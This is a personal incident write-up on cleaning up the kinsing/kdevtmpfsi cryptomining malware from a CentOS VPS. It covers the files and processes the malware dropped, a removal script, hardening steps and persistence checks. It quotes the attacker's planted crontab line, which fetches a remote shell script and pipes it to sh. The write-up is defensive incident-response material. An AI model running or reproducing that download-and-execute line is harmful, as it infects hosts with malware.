How to clean kdetmpdevfsi or .ICEd-unix suspicious files/folders or processes

cleancrap.md

Problem

I've recently been hacked on my VPS(using Centos 7.6 and CWP up to date) and the following files/folders were created:

• /tmp/.ICEd-unix
• /var/tmp/.ICEd-unix
• /tmp/kdevtmpfsi
• /var/tmp/kinsing

The following processes were running and using 100% CPU and Memory:

• kdevtmpfpsi
• kinsing

Also, the user's crontab had this following line:

* * * * * wget -q -O - http://195.3.146.118/p.sh | sh > /dev/null 2>&1

As of yet, I'm still getting the /tmp/.ICEd-unix and /var/tmp/.ICEd-unix folders created every hour and I can't figure out what it is.

Solutions

• create a cron on root user that deletes and kills the processes:

#/bin/bash
rm -f /var/tmp/kinsing
rm -f /var/tmp/.ICEd-unix
killall -9 kinsing
rm -f /tmp/kdevtmpfsi
rm -f /tmp/.ICEd-unix
killall -9 kdevtmpfsi

• remove the crontab line from the affected user
• remove all unnecessary opened ports in firewall
• disable shell access to the user(from CWP)
• update all services/projects to the latest possible versions available in your package manager

How did they get in

• Found these lines in suexec.log: https://imgur.com/yIliqjJ, therefore an exploit from phpunit. My libraries for the laravel project weren't up to date.

Resources

• https://forum.manjaro.org/t/i-have-a-mining-virus-on-my-machine-kdevtmpfsi/121040/10
• laradock/laradock#2451 (comment)
• docker-library/redis#217
• https://github.com/amulcse/solr-kinsing-malware

One of the many things this malware does is try to be persisent. You might want to confirm that:

• Apparmor/SELinux are running and not modified
• There is no aliyun.service systemd service running
• ulimit was not modified
• file attributes for /tmp/, /var/tmp/, /var/spool/cron/, and /etc/crontab/ were not modified, and
• /root/.ssh/ and /root/.ssh/authorized_keys were not readable from the user that was running the webserver/kinsing
• ufw was not disabled
• kernel.nmi_watchdog is not set to 0

There are a versions of kinsing that work differently. so you're better off searching the checksum of the binary online and confirming.